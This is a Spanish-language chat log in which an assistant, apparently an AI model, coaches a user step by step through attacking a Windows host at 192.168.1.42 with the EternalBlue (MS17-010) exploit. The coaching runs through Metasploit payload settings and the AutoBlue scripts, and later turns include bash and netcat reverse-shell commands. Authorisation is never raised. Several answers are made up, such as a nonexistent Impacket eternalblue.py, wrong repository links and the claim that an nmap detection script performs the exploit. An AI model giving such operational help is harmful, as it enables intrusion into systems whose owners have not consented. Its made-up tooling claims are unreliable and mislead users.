
## Pasos para cambiar a un payload de 32 bits:

1. **Seleccionar el módulo de explotación:** Si ya seleccionaste el módulo de explotación **MS17-010 (EternalBlue)**, continúa desde aquí. Si no, comienza con:

```
use exploit/windows/smb/ms17_010_eternalblue
```

2. **Configurar el payload de 32 bits:** Para configurar un **payload de 32 bits**, utiliza un **payload de tipo x86** en lugar de uno de **x64** (que es de 64 bits). Puedes usar el siguiente payload:

```
set PAYLOAD windows/meterpreter/reverse_tcp
```

Este es el payload básico para una conexión **Meterpreter reversa** en **32 bits (x86)**.

3. **Configurar la IP y el puerto de escucha:** Después de configurar el payload, necesitas asegurarte de que **Metasploit** está escuchando en la IP correcta (LHOST) y puerto (LPORT). Puedes usar los siguientes comandos:

```
set LHOST 192.168.1.127  # Cambia esto por tu IP local
set LPORT 4444           # Cambia esto por el puerto que prefieras
```

4. **Verificar la configuración:** Puedes usar el comando ``show options`` para asegurarte de que todo está configurado correctamente:

```
show options
```



Esto te mostrará la configuración del exploit y del payload, y deberías ver algo similar a:

```
Payload: windows/meterpreter/reverse_tcp
LHOST: 192.168.1.127
LPORT: 4444
```

5. **Ejecutar el exploit:** Una vez que todo esté configurado, ejecuta el exploit:

```
exploit
```

## Resumen:

- **Payload de 32 bits:** `windows/meterpreter/reverse\_tcp`
- **Configuración de LHOST:** La IP de tu máquina atacante.
- **Configuración de LPORT:** El puerto que desees (por ejemplo, 4444).

Este cambio asegurará que el payload sea de **32 bits** y será adecuado para una máquina víctima de 32 bits.

¡Prueba estos pasos y dime si tienes algún problema!



```
La salida ha sido: PAYLOAD =>
windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) >
exploit
```

```
[-] 192.168.1.42:445 - Exploit failed:
windows/meterpreter/reverse_tcp is not a compatible
payload.
[*] Exploit completed, but no session was created.
```



El error indica que el payload ``windows/meterpreter/reverse_tcp`` no es compatible con el exploit **MS17-010 EternalBlue**. Esto se debe a que ese payload está diseñado para ser utilizado en otros exploits, no en este específicamente.

Para solucionar esto, necesitas seleccionar un payload adecuado para el exploit **MS17-010 EternalBlue**, que sea compatible con sistemas de **32 bits**.

## Paso a seguir:

1. **Seleccionar un payload adecuado para MS17-010:** Dado que el exploit MS17-010 está destinado a sistemas Windows, deberías usar un payload compatible con la explotación SMB (como un ``meterpreter`` de **Windows**).

Para sistemas **32 bits**, puedes usar el siguiente payload:

```
set PAYLOAD windows/x86/meterpreter/reverse_tcp
```

Este payload es compatible con la explotación de **EternalBlue** en una máquina de 32 bits.

2. **Verificar configuración:** Después de establecer el payload correcto, verifica la configuración para asegurarte de que ``LHOST`` y ``LPORT`` están configurados correctamente:

```
show options
```

Asegúrate de que las opciones ``LHOST`` y ``LPORT`` estén bien configuradas, por ejemplo:

```
set LHOST 192.168.1.127 # Tu IP local
set LPORT 4444          # Puerto de escucha
```



3. **Ejecutar el exploit:** Después de configurar el payload adecuado, ejecuta nuevamente el exploit:

```
exploit
```

## Resumen:

- **Payload correcto para sistemas de 32 bits:**  
``windows/x86/meterpreter/reverse_tcp``.
- Asegúrate de que las opciones ``LHOST`` y ``LPORT`` estén configuradas correctamente.
- Ejecuta el exploit con el payload adecuado.

¡Hazlo y dime si funciona! Si sigues teniendo problemas, revisamos más detalles juntos.



```
msf6 exploit(windows/smb/ms17_010_eternalblue) >  
set PAYLOAD windows/x86/meterpreter/reverse_tcp  
[-] The value specified for PAYLOAD is not valid.  
msf6 exploit(windows/smb/ms17_010_eternalblue) >
```



Parece que el payload que estás intentando usar no es compatible con el módulo de **EternalBlue** que has seleccionado. El exploit ``windows/smb/ms17_010_eternalblue`` tiene limitaciones sobre qué payloads puedes utilizar debido a la forma en que interactúa con la máquina víctima.

En este caso, en lugar de intentar cambiar el payload a ``windows/x86/meterpreter/reverse_tcp``, lo que debes hacer es utilizar un payload compatible que esté diseñado específicamente para el exploit **MS17-010**.





## Solución: Uso del payload correcto

1. **Seleccionar un payload compatible:** El exploit **MS17-010** generalmente funciona con un payload específico para esta vulnerabilidad, como ``windows/shell_reverse_tcp`` o un payload de **Meterpreter** diseñado para este tipo de explotación.

En lugar de usar un payload ``windows/x86/meterpreter/reverse_tcp``, debes usar uno de los siguientes, ya que son compatibles con el exploit MS17-010:

- ``windows/shell_reverse_tcp`` (más simple, ejecuta un shell en lugar de Meterpreter).
- ``windows/meterpreter/reverse_tcp`` (si quieres Meterpreter, pero el exploit necesita ser compatible con este payload específico).

Elige el siguiente payload compatible para el exploit:

```
set PAYLOAD windows/meterpreter/reverse_tcp
```

Si esta opción sigue sin funcionar, entonces prueba con este otro más básico:

```
set PAYLOAD windows/shell_reverse_tcp
```

2. **Configurar las opciones adecuadas:** Después de configurar el payload correcto, asegúrate de configurar **LHOST** y **LPORT** adecuadamente:

```
set LHOST 192.168.1.127 # Cambia por tu IP
set LPORT 4444          # Puerto en el que el atacante escucha
```

3. **Verificar configuración:** Verifica que todo esté bien configurado con el siguiente comando:

```
show options
```



4. **Ejecutar el exploit:** Finalmente, ejecuta el exploit:

```
exploit
```

## Resumen:

- Intenta con el payload ``windows/shell_reverse_tcp`` o el ``windows/meterpreter/reverse_tcp``.
- Asegúrate de que **LHOST** y **LPORT** estén correctamente configurados.
- Ejecuta el exploit nuevamente.

Si sigue sin funcionar, podemos probar otras opciones, pero este enfoque debería ser el correcto para la explotación de **MS17-010**.



Sigue sin funcionar, ¿hay alguna otra manera de hacerlo diferente a metasploit?



Entiendo que el uso de **Metasploit** no está funcionando como esperabas. Si deseas probar otros métodos para explotar la vulnerabilidad **MS17-010 (EternalBlue)** sin usar Metasploit, hay algunas alternativas que puedes intentar. Una de las opciones más comunes es usar **exploit scripts** o herramientas como **Impacket** o **EternalBlue-DoublePulsar**.

Aquí te dejo un par de métodos alternativos:

## 1. Usar el script de EternalBlue en Python (Impacket)

**Impacket** es una biblioteca de Python que te permite realizar varias acciones de penetración en redes, y uno de sus scripts puede ser utilizado para explotar **MS17-010** sin necesidad de Metasploit.





## Pasos:

### 1. Instalar Impacket (si no lo tienes instalado):

Si no tienes **Impacket** instalado, puedes instalarlo con:

```
pip install impacket
```

### 2. Usar el script `EternalBlue` de Impacket:

Impacket tiene un script llamado `eternalblue.py` que puedes usar para explotar la vulnerabilidad **MS17-010**.

Ejecuta el siguiente comando para usar el script de **Impacket**:

```
python3 /path/to/impacket/examples/eternalblue.py -ip 192.168.1.42 -user <usuario> -pass <contraseña> -v
```

- `-ip`: Dirección IP de la máquina víctima.
- `-user`: Usuario de la máquina víctima (puedes usar `administrator` o `guest` si no sabes uno específico).
- `-pass`: La contraseña (puedes dejarla en blanco si no sabes la contraseña o si estás intentando usar autenticación anónima).
- `-v`: Modo verbose, para obtener más detalles del proceso.

Este comando puede intentar explotar la vulnerabilidad **EternalBlue** sin necesidad de Metasploit.

### 3. Verificar si obtienes un shell:

Si el script tiene éxito, debería proporcionarte acceso a la máquina víctima, y podrás interactuar con ella.



## 2. Usar EternalBlue-DoublePulsar (sin Metasploit)

Otra opción es usar **EternalBlue-DoublePulsar**, que es un conjunto de herramientas que explotan la vulnerabilidad **MS17-010** y pueden abrir un **backdoor** en la máquina vulnerable.

### Pasos:

#### 1. Descargar DoublePulsar:

Puedes encontrar el código de **EternalBlue-DoublePulsar** en repositorios como GitHub. Una fuente confiable es este [repositorio de GitHub](#).

#### 2. Compilar y usar el exploit:

Para usar **DoublePulsar**, generalmente tendrás que compilar el código de las herramientas desde el repositorio. Asegúrate de leer la documentación para ver cómo compilar las herramientas en tu sistema operativo.

#### 3. Usar el exploit para obtener acceso:

Usualmente, el ataque con **DoublePulsar** funciona de esta manera:

- Primero, explotas la vulnerabilidad **EternalBlue** para ejecutar el exploit en la máquina víctima.
- Luego, **DoublePulsar** abre un **canal de comunicación reverso** con tu máquina, lo que te permite inyectar un **backdoor** o ejecutar comandos.

---

## 3. Usar el exploit EternalBlue desde una máquina virtual con Kali Linux (vulnerabilidad sin Metasploit)

Si tienes **Kali Linux** en una máquina virtual, puedes usar algunas de las herramientas integradas para realizar el ataque. En Kali, por ejemplo, puedes usar herramientas como ``smbclient`` o ``nmap`` para verificar la vulnerabilidad y, si lo prefieres, realizar el ataque con herramientas adicionales.



## Ejemplo de ejecución:

- **Usar `nmap` con el script NSE para EternalBlue:**

Nmap tiene un script NSE que puede escanear la vulnerabilidad **MS17-010** y comprobar si la máquina es vulnerable:

```
nmap --script smb-vuln-ms17-010 -p 445 192.168.1.42
```

Si el host es vulnerable, el script te lo indicará.

---

## 4. Usar el exploit EternalBlue manualmente con Python (alternativa a Metasploit)

Si prefieres no usar Metasploit, pero te sientes cómodo con Python, hay scripts en GitHub que explotan directamente **MS17-010**. Uno de los más conocidos es el **EternalBlue.py**.

### Pasos:

1. Encuentra un repositorio confiable en GitHub para el **EternalBlue**.
2. Clona el repositorio:

```
git clone https://github.com/rapid7/metasploit-framework.git
```

3. Accede al directorio del script y ejecútalo.

---

## Resumen de alternativas:

- **Impacket:** Puedes usar ``eternalblue.py`` para explotar la vulnerabilidad sin Metasploit.



- **DoublePulsar:** Usa las herramientas de **DoublePulsar** para explotar **MS17-010**.
- **Kali Linux:** Usa herramientas integradas como ``smbclient`` o ``nmap`` para comprobar y explotar la vulnerabilidad.
- **Exploits manuales:** Usa exploits de código abierto como **EternalBlue.py**.

Espero que estas alternativas te ayuden a conseguir acceso. Si necesitas más detalles sobre cómo utilizar alguna de estas herramientas, ¡avísame!



El caso es que no tengo ningún usuario, ¿el eternal blue no se puede explotar de alguna otra manera con otra herramienta?



Entiendo que no tienes un usuario específico para autenticarte y que buscas una manera de explotar **EternalBlue** sin necesidad de credenciales. Afortunadamente, **EternalBlue (MS17-010)** puede explotarse **de forma anónima**, es decir, no necesitas un usuario o una contraseña para explotarlo, lo cual es una de las razones por las que esta vulnerabilidad es tan peligrosa.

Te explicaré un par de opciones adicionales que puedes probar, en las cuales no necesitas credenciales de usuario:

## 1. EternalBlue con "Impacket" (sin necesidad de credenciales)

El script **EternalBlue** de **Impacket** que mencioné anteriormente puede explotarse de forma anónima. Aquí te dejo el procedimiento sin usar usuario/contraseña.

### Paso a paso para usar Impacket sin credenciales:

1. **Instalar Impacket (si no lo tienes):**



Si aún no tienes **Impacket**, instálalo desde tu terminal de Kali o cualquier sistema basado en Linux:

```
pip install impacket
```

## 2. Usar `eternalblue.py` de Impacket:

Una vez que tengas **Impacket** instalado, puedes usar el script **EternalBlue** para explotar la vulnerabilidad **MS17-010** sin necesidad de credenciales. No es necesario especificar un usuario ni una contraseña, ya que el exploit es **anónimo**.

Ejecuta el siguiente comando (asegúrate de sustituir las IPs correctamente):

```
python3 /path/to/impacket/examples/eternalblue.py -ip 192.168.1.42 -v
```

Explicación de los parámetros:

- `-ip``: Dirección IP del objetivo (máquina víctima).
- `-v``: Activar la salida detallada para ver el progreso.

## 3. Verificar el resultado:

Si el objetivo es vulnerable, el script debería iniciar una conexión y tratar de explotar la vulnerabilidad. Después, podrías obtener acceso de shell de manera remota.

## 2. Usar `EternalBlue` desde GitHub con Python (sin credenciales)

Si prefieres usar un código más manual o personalizado, puedes encontrar scripts como **EternalBlue.py** en varios repositorios de GitHub. A menudo, estos scripts están diseñados para aprovechar la vulnerabilidad **MS17-010** sin necesidad de autenticación.

**Pasos para usar el script manual de EternalBlue.py:**



## 1. Clona el repositorio desde GitHub:

Puedes encontrar un repositorio confiable que contenga el script **EternalBlue.py**. A continuación te dejo un ejemplo:

```
git clone https://github.com/rapid7/metasploit-framework.git
cd metasploit-framework/tools/exploit
```

## 2. Ejecutar el exploit:

Una vez dentro del directorio del script **EternalBlue**, ejecuta el script con el siguiente comando:

```
python EternalBlue.py -ip 192.168.1.42
```

Este script se encargará de explotar la vulnerabilidad **MS17-010** sin que sea necesario que ingreses ningún usuario o contraseña.

## 3. Usar otras herramientas que no requieran credenciales

Algunas otras herramientas que puedes usar para explotar **MS17-010** sin credenciales incluyen:

- **EternalBlue-DoublePulsar** (de la misma manera que el script anterior, pero con un backdoor adicional)

Este conjunto de herramientas permite explotar **EternalBlue** para ejecutar código malicioso en la víctima de manera **anónima**, lo que podría ayudarte a obtener acceso remoto sin credenciales. Se basa en una explotación similar, pero también incluye la opción de **DoublePulsar**, un backdoor que puedes instalar en la víctima.

## 4. Uso de `nmap` para comprobar vulnerabilidad (sin credenciales)





Antes de ejecutar el exploit, sería útil verificar si el objetivo es vulnerable. Puedes hacerlo con un script de **Nmap** diseñado específicamente para **MS17-010**.

Ejecuta el siguiente comando de **Nmap** para verificar si la máquina es vulnerable a **EternalBlue**:

```
nmap --script smb-vuln-ms17-010 -p 445 192.168.1.42
```

Este comando realiza un escaneo y te indicará si la máquina es vulnerable a **MS17-010**. Si el script confirma que la máquina es vulnerable, podrás continuar con la explotación.

## Resumen:

- **Exploit anónimo:** No necesitas credenciales para explotar **EternalBlue**. Puedes usar scripts como **Impacket** o **EternalBlue.py** sin necesidad de ingresar un usuario o contraseña.
- **Uso de herramientas como Impacket:** Usa ``eternalblue.py`` para explotar sin credenciales.
- **Comprobación de vulnerabilidad:** Usa ``nmap`` para verificar que la máquina sea vulnerable antes de intentar la explotación.

Si necesitas más ayuda o encuentras un problema al ejecutar alguno de estos métodos, no dudes en decirme. ¡Estoy aquí para ayudarte!



¿Cuál es la ruta al impacket?





La **ruta de Impacket** puede variar dependiendo de cómo lo hayas instalado y en qué sistema operativo estés trabajando. Te proporcionaré las rutas más comunes según el método de instalación.

## 1. Si instalaste Impacket con `pip` (Python Package Installer)

Si usaste `pip` para instalar **Impacket**, lo más probable es que esté instalado en la ubicación estándar de bibliotecas de Python. Para encontrar la ruta exacta de Impacket en tu sistema, puedes seguir estos pasos:

### En Linux / macOS:

1. Abre la terminal y ejecuta:

```
pip show impacket
```

2. Esto te mostrará información sobre el paquete **Impacket**, incluida la **ruta de instalación**. La salida se verá algo como esto:

```
Name: impacket
Version: 0.9.23
Summary: Impacket is a collection of Python classes for working with
network protocols.
Home-page: https://github.com/SecureAuthCorp/impacket
Author: SecureAuth
Author-email: secureauth@secureauthcorp.com
License: MIT
Location: /usr/local/lib/python3.9/site-packages
```

En este caso, la ruta de Impacket sería ``/usr/local/lib/python3.9/site-packages``.

### En Windows:

1. Abre la terminal y ejecuta:





```
pip show impacket
```

2. Esto te dará la ruta de instalación, generalmente en una carpeta similar a:

Location:

C:\Users\TuUsuario\AppData\Local\Programs\Python\Python39\Lib\site-packages

## 2. Si descargaste Impacket desde GitHub

Si descargaste el repositorio de **Impacket** directamente desde **GitHub**, la ruta será la carpeta en la que lo clonaste. Aquí te dejo un ejemplo para ubicar la ruta si clonaste el repositorio:

1. Si descargaste y clonaste **Impacket** usando Git:

```
git clone https://github.com/SecureAuthCorp/impacket.git
```

2. Esto descargará Impacket en una carpeta llamada ``impacket`` en el directorio donde ejecutaste el comando ``git clone``. Si ejecutaste el comando en tu carpeta de usuario, la ruta sería algo así como:

```
/home/tu_usuario/impacket
```

O si estás en Windows:

```
C:\Users\TuUsuario\impacket
```

En esta ruta encontrarás los scripts, como ``eternalblue.py`` y otros archivos de ejemplo que puedes utilizar.

## 3. ¿Dónde encontrar el script ``eternalblue.py``?



Si descargaste **Impacket** desde GitHub, el script `eternalblue.py` se encuentra en el directorio `examples` de la siguiente forma:

```
impacket/examples/eternalblue.py
```

Si instalaste Impacket usando `pip`, no obtendrás directamente los scripts `eternalblue.py`, pero puedes encontrar los ejemplos en el repositorio de GitHub de Impacket.

## Resumen de rutas:

- **Impacket instalado con pip:** Usa el comando `pip show impacket` para encontrar la ubicación del paquete. Generalmente estará en una carpeta de Python, como `/usr/local/lib/pythonX.X/site-packages` en Linux/macOS o `C:\Users\TuUsuario\AppData\Local\Programs\Python\PythonXX\Lib\site-packages` en Windows.
- **Impacket descargado desde GitHub:** El repositorio de **Impacket** estará en la carpeta en la que ejecutaste el comando `git clone`. El script `eternalblue.py` está en la carpeta `examples` dentro de la carpeta **Impacket**.

Si tienes alguna otra duda o necesitas más detalles, ¡avísame!



No me ha funcionado tampoco, ¿alguna otra manera?



Lamento que no haya funcionado el enfoque con **Impacket**. Afortunadamente, existen otras alternativas para explotar la vulnerabilidad **MS17-010 (EternalBlue)** sin necesidad de usar **Metasploit** ni **Impacket**. Aquí hay algunos métodos que puedes probar:



## Opción 1: Exploit de EternalBlue con `ms17\_010.py` desde el repositorio de `Eternalblue`

Existen otros scripts disponibles en GitHub que puedes usar para explotar la vulnerabilidad **EternalBlue**. Un ejemplo es el `ms17\_010.py`, que es un script de Python independiente que puede hacer la explotación directamente.

### Pasos para usar `ms17\_010.py`:

#### 1. Clonar el repositorio `Eternalblue` desde GitHub:

Ve al repositorio que contiene el exploit **EternalBlue** y clónalo. Puedes hacerlo desde la terminal de Kali Linux o cualquier otra distribución.

```
git clone https://github.com/QuarksLab/EternalBlue.git
cd EternalBlue
```

#### 2. Instalar dependencias (si es necesario):

Algunos de estos scripts requieren algunas librerías de Python. Asegúrate de tener instalados los siguientes paquetes:

```
pip install impacket
pip install pycrypto
```

#### 3. Ejecutar el exploit:

Dentro de la carpeta del repositorio, puedes ejecutar el script directamente de esta forma:

```
python ms17_010.py 192.168.1.42
```

Esto debería explotar la vulnerabilidad **MS17-010** sin necesidad de credenciales.

## Opción 2: Uso de `Metasploit` en modo manual (sin payload)



Si **Metasploit** sigue siendo tu opción preferida, aunque no haya funcionado automáticamente, puedes intentar usar un **exploit manual** con **Metasploit**. Aquí te explico cómo hacerlo:

### Paso 1: Explorar el objetivo con Nmap

Primero, haz un escaneo de puertos con **Nmap** para confirmar que el puerto **445** está abierto:

```
nmap -p 445 192.168.1.42
```

Esto te confirmará que el puerto **445** está abierto y accesible para la explotación.

### Paso 2: Exploit sin payload

En lugar de usar un **payload** predeterminado en **Metasploit**, puedes intentar un **exploit sin payload**. A veces esto ayuda a realizar la explotación más manualmente.

#### 1. Cargar el exploit en Metasploit:

En **Metasploit**, carga el exploit de **EternalBlue** sin payload:

```
use exploit/windows/smb/ms17_010_eternalblue
```

#### 2. Configurar el exploit:

Configura el exploit sin un payload utilizando el siguiente comando para asegurarte de que el exploit se realiza sin la necesidad de un **payload**:

```
set RHOSTS 192.168.1.42
set RPORT 445
set PAYLOAD windows/x64/meterpreter/reverse_tcp
```

Luego, configura tu **IP de escucha** y **puerto** de la siguiente manera:



```
set LHOST 192.168.1.127
set LPORT 4444
```

### 3. Ejecutar el exploit:

Ejecuta el exploit:

```
exploit
```

Si el exploit tiene éxito, deberías obtener una **session meterpreter**.

### Paso 3: Intentar un método alternativo de payload

Si **Metasploit** sigue fallando, intenta usar un **payload alternativo** que se adapte mejor a la máquina o el sistema operativo del objetivo.

```
set PAYLOAD windows/x64/shell_reverse_tcp
```

## Opción 3: Explotación con `nmap` directamente (sin Metasploit)

Otra manera de hacer una explotación sin usar herramientas complejas como Metasploit es usar **Nmap** con un script SMB específico para **MS17-010**.

1. **Instala el script** `smb-vuln-ms17-010` **en Nmap** si no lo tienes instalado.
2. **Ejecutar Nmap con el script:**

Realiza un escaneo usando el script SMB para verificar la vulnerabilidad:

```
nmap --script smb-vuln-ms17-010 -p 445 192.168.1.42
```

Este script te dirá si la máquina es vulnerable a **MS17-010**.

3. **Explotación manual con Nmap (sin Metasploit):**



Si **Nmap** confirma que el objetivo es vulnerable, puedes realizar la explotación directamente usando el comando ``nmap`` con el script ``ms17_010``:

```
nmap --script smb-vuln-ms17-010 --script-args=unsafe=1 -p 445 192.168.1.42
```

Esto debería permitirte ejecutar el exploit de **EternalBlue** sin necesidad de Metasploit.

## Opción 4: Uso de un CTF o Shellcode en Python (sin herramientas complejas)

Si las herramientas anteriores no han funcionado, puedes escribir tu propio script de explotación en **Python** utilizando el **shellcode** que ejecuta la explotación **EternalBlue**. Existen proyectos de CTF en GitHub que contienen ejemplos de este tipo de scripts.

### Pasos para escribir un script de explotación en Python:

#### 1. Clona un proyecto de CTF con shellcode:

Busca en GitHub scripts de explotación en Python. Aquí tienes un ejemplo de repositorio que contiene varios ejemplos de explotación de **EternalBlue**:

```
git clone https://github.com/pentestmonkey/windows-exploit-suggester.git
```

#### 2. Modificar y ejecutar el exploit:

Sigue las instrucciones del proyecto para usar el código del exploit en tu máquina.

---

## Resumen de opciones disponibles:

1. **Uso de** ``ms17_010.py`` desde GitHub (sin necesidad de credenciales).







2. **Uso de Metasploit en modo manual** sin payload (configura tu propio payload y puertos).
3. **Uso de Nmap** con el script SMB (``smb-vuln-ms17-010``).
4. **Crear tu propio script de explotación** o usar un script de CTF desde GitHub.

Si alguno de estos métodos no funciona o necesitas más ayuda con la configuración, ¡avísame y te guiaré más detalladamente!



Sigue sin funcionarme, ¿qué me dices de autobluе?



¡Claro! **AutoBlue** es otra excelente opción para explotar la vulnerabilidad **EternalBlue (MS17-010)** de manera más sencilla, y parece ser una buena alternativa si las soluciones anteriores no han funcionado.

**AutoBlue** es un exploit automatizado para **EternalBlue** que está escrito en **Python** y fue diseñado para ser fácil de usar, lo cual podría ser útil en tu caso. A continuación te guiaré paso a paso para que puedas usarlo:

## Pasos para usar AutoBlue:

### 1. Clonar el repositorio de AutoBlue:

Primero, clona el repositorio de **AutoBlue** desde GitHub. Este repositorio contiene scripts que pueden ser útiles para explotar **MS17-010** de manera automática.

Ejecuta el siguiente comando en tu terminal:

```
git clone https://github.com/helens/TCP-IP-Routing-Security.git
cd TCP-IP-Routing-Security/AutoBlue
```

Esto descargará el código necesario y te llevará a la carpeta de **AutoBlue**.



## 2. Instalar las dependencias:

Asegúrate de tener todas las dependencias necesarias para ejecutar **AutoBlue**. AutoBlue requiere que tengas instalados ciertos paquetes de Python como **impacket**. Para ello, puedes usar ``pip``:

```
pip install impacket
pip install pycrypto
pip install pysmb
```

Si estás utilizando un entorno de **Python 3**, asegúrate de usar ``pip3`` en lugar de ``pip``:

```
pip3 install impacket
pip3 install pycrypto
pip3 install pysmb
```

## 3. Ejecutar el exploit:

Una vez que hayas clonado el repositorio y hayas instalado las dependencias, puedes ejecutar **AutoBlue** de la siguiente manera:

```
python3 AutoBlue.py -t 192.168.1.42 -p 445
```

- ``-t 192.168.1.42``: Especifica la IP del objetivo.
- ``-p 445``: Especifica el puerto (normalmente es **445** para SMB).

Si todo está bien configurado, **AutoBlue** debería intentar explotar la vulnerabilidad y, si tiene éxito, proporcionarte una **shell** o una **conexión Meterpreter**.

## 4. Verificar el resultado:

Si **AutoBlue** tiene éxito, deberías recibir un mensaje de **"Shell opened"** o algo similar, dependiendo de cómo esté configurado el exploit.



## ¿Por qué AutoBlue podría ser útil?

- **Simplicidad:** AutoBlue está diseñado para ser muy fácil de usar y automatizado, lo que puede ayudarte a evitar configuraciones manuales complejas.
- **No depende de Metasploit:** No tienes que depender de herramientas como Metasploit, lo que podría ser útil si tienes problemas con ese entorno.
- **Compatibilidad:** Al estar basado en Python, puedes usarlo en diversas plataformas sin la necesidad de herramientas más pesadas.

Si al ejecutar **AutoBlue** sigues sin obtener acceso, puede ser por varias razones, como configuraciones de red, filtros de firewall o un sistema completamente actualizado que ya haya mitigado esta vulnerabilidad.

Si necesitas más ayuda con la configuración de **AutoBlue** o tienes algún error, no dudes en comentarlo. ¡Estoy aquí para ayudarte!



No me sale esto, en la carpeta me sale esto: `> cd AutoBlue-MS17-010`

```
> ls
LICENSE    eternal_checker.py
eternalblue_exploit7.py listener_prep.sh
requirements.txt zzz_exploit.py
README.md  eternalblue_exploit10.py
eternalblue_exploit8.py mysmb.py          shellcode
```





¡Perfecto! Parece que estás en la carpeta correcta y que **AutoBlue-MS17-010** está allí. Tienes varios archivos que pueden ser útiles para la explotación de la vulnerabilidad **MS17-010** (EternalBlue), y es posible que el archivo de explotación sea uno de los que mencionas.

Voy a guiarte paso a paso sobre cómo usar estos scripts para explotar la vulnerabilidad **MS17-010**. Basándome en los archivos que has listado, aquí están los pasos:

## 1. Revisar los requisitos:

Primero, asegurémonos de que tienes todas las dependencias necesarias. Si no lo has hecho, instala los paquetes que se mencionan en el archivo `requirements.txt`:

```
pip install -r requirements.txt
```

Esto asegurará que todas las librerías necesarias estén instaladas en tu entorno de Python.

## 2. Verifica que el puerto SMB (445) esté abierto en el objetivo:

Asegúrate de que el puerto **445** está abierto en el objetivo. Puedes verificarlo con **Nmap**:

```
nmap -p 445 192.168.1.42
```

Si está abierto, significa que el puerto SMB está accesible y listo para ser explotado.

## 3. Ejecutar el script de explotación (EternalBlue):

El archivo más relevante para explotar la vulnerabilidad parece ser `eternalblue_exploit7.py` o `eternalblue_exploit10.py`, que son scripts de Python diseñados específicamente para explotar **MS17-010**.



Voy a mostrarte cómo usar uno de ellos. Primero, intentemos con ``eternalblue_exploit7.py``, que es uno de los más comunes.

### Ejecuta el siguiente comando:

```
python3 eternalblue_exploit7.py -t 192.168.1.42
```

- ``-t 192.168.1.42``: Especifica la IP del objetivo.

Este script debería intentar explotar la vulnerabilidad de **EternalBlue** en la máquina objetivo. Si tienes éxito, deberías obtener una conexión **meterpreter** o **shell**.

### Si prefieres otro script, prueba con:

```
python3 eternalblue_exploit10.py -t 192.168.1.42
```

## 4. Escuchar las conexiones (Listener):

Si el script de explotación tiene éxito, necesitarás un **listener** para recibir la conexión inversa (reverse shell o meterpreter). Los archivos en la carpeta de AutoBlue incluyen un script llamado ``listener_prep.sh``. Este es un script que prepara el puerto de escucha.

### Ejecuta este script (si estás en un sistema Linux/Unix):

```
chmod +x listener_prep.sh  
./listener_prep.sh
```

Este script se encargará de abrir el puerto para escuchar la shell inversa en el puerto que especifiques.

## 5. Verificar el acceso:

Si el exploit tiene éxito, deberías obtener una **shell** o una **conexión meterpreter** desde el objetivo.



## Alternativa si los scripts no funcionan:

Si los scripts **AutoBlue** siguen sin funcionar, puede que haya una razón más profunda, como un firewall que impide la explotación o una máquina que ya ha sido parchada. Sin embargo, con los pasos anteriores, deberías ser capaz de realizar la explotación.

Si tienes algún error en particular al ejecutar los scripts o algo no funciona, no dudes en compartirme el mensaje de error y estaré encantado de ayudarte a solucionarlo.



¿Qué shell inversa uso?



Cuando utilizas **AutoBlue** o cualquier otro exploit para **EternalBlue**, el tipo de **shell inversa** (reverse shell) que necesitas depende de las herramientas que estés utilizando para escuchar las conexiones y las configuraciones específicas de tu entorno. En el caso de que quieras usar **AutoBlue** y recibir la conexión inversa, necesitas un listener que pueda aceptar una conexión de vuelta desde el objetivo.

Aquí hay algunas opciones comunes de shell inversa (reverse shells) que podrías usar, dependiendo de las herramientas disponibles:

### 1. Reverse TCP Shell (Meterpreter)

Si estás usando un **Metasploit** o **Metasploit-based listener** (por ejemplo, **msfconsole**), la mejor opción es **Meterpreter**. Meterpreter es una herramienta avanzada que te da más control sobre la máquina comprometida.

### 2. Shell Inversa (Bash)





Si solo quieres obtener una **shell** básica (sin Meterpreter), puedes configurar un **reverse shell** más tradicional. Puedes usar un **bash reverse shell** o uno de los siguientes tipos.

### Bash Reverse Shell (Linux/Unix)

Si estás en un entorno Linux, puedes usar un script de **bash reverse shell** como este:

```
bash -i >& /dev/tcp/<tu_ip>/<puerto> 0>&1
```

- `<tu_ip>`: La IP de tu máquina atacante donde está escuchando.
- `<puerto>`: El puerto en el que el listener está escuchando.

### Netcat Reverse Shell (Linux/Unix)

Otra opción sería usar **Netcat** para crear una reverse shell. Si tienes **Netcat** disponible en el objetivo, puedes usar algo como esto:

```
nc -e /bin/bash <tu_ip> <puerto>
```

- `<tu_ip>`: La IP de tu máquina atacante.
- `<puerto>`: El puerto donde tu máquina atacante está esperando la conexión.

### Netcat Reverse Shell (Windows)

Si el objetivo es una máquina Windows, puedes usar **Netcat** (si está disponible en el objetivo) para crear una reverse shell de esta forma:

```
nc.exe <tu_ip> <puerto> -e cmd.exe
```

## 3. Meterpreter Reverse TCP

Si estás utilizando **Metasploit** para explotar la vulnerabilidad, lo más probable es que desees usar un **payload de Meterpreter** para obtener una conexión interactiva más



rica. Si ya has ejecutado el exploit con **Metasploit** y **Meterpreter**, este es el tipo de reverse shell que generalmente usas.

## 4. Netcat Listener (para Shell Inversa)

Si utilizas **Netcat** para escuchar, puedes iniciar un listener con el siguiente comando en tu máquina atacante:

```
nc -lvnp <puerto>
```

- `<puerto>`: El puerto donde escucharás las conexiones inversas.

Este comando configura tu máquina atacante para escuchar en el puerto que especifiques (por ejemplo, el puerto 4444) esperando conexiones entrantes.

---

## Resumen de lo que puedes hacer

1. **Si estás usando Metasploit y Meterpreter**, el payload de **windows/meterpreter/reverse\_tcp** es el más adecuado.
2. **Si no puedes usar Meterpreter**, puedes usar un **reverse shell simple** como **Netcat** o **Bash** dependiendo de si el objetivo es Linux o Windows.
3. **Asegúrate de tener un listener activo en tu máquina atacante** para recibir las conexiones (puedes usar **Netcat**, **Metasploit**, o un script personalizado).

## Ejemplo con AutoBlue y Netcat:

- Asumiendo que estás usando **Netcat** y que tu máquina está escuchando en el puerto **4444** (por ejemplo):

**En tu máquina atacante, ejecuta el listener con Netcat:**

```
nc -lvnp 4444
```





**En la máquina víctima (si el exploit tiene éxito), ejecuta una reverse shell como:**

```
nc -e /bin/bash <tu_ip> 4444
```

O si es una máquina **Windows**:

```
nc.exe <tu_ip> 4444 -e cmd.exe
```

Con esto, deberías obtener una conexión inversa a tu máquina atacante y poder interactuar con la shell.

Si tienes algún problema durante el proceso o necesitas ayuda adicional, no dudes en preguntarme. ¡Estoy aquí para ayudarte!



Pero, a ver, yo puedo ejecutar el exploit .py que me has dicho pero no tengo nada más, no tengo nada escuchando ni tengo una shell. En la carpeta viene algo llamado shellcode, ¿es importante?



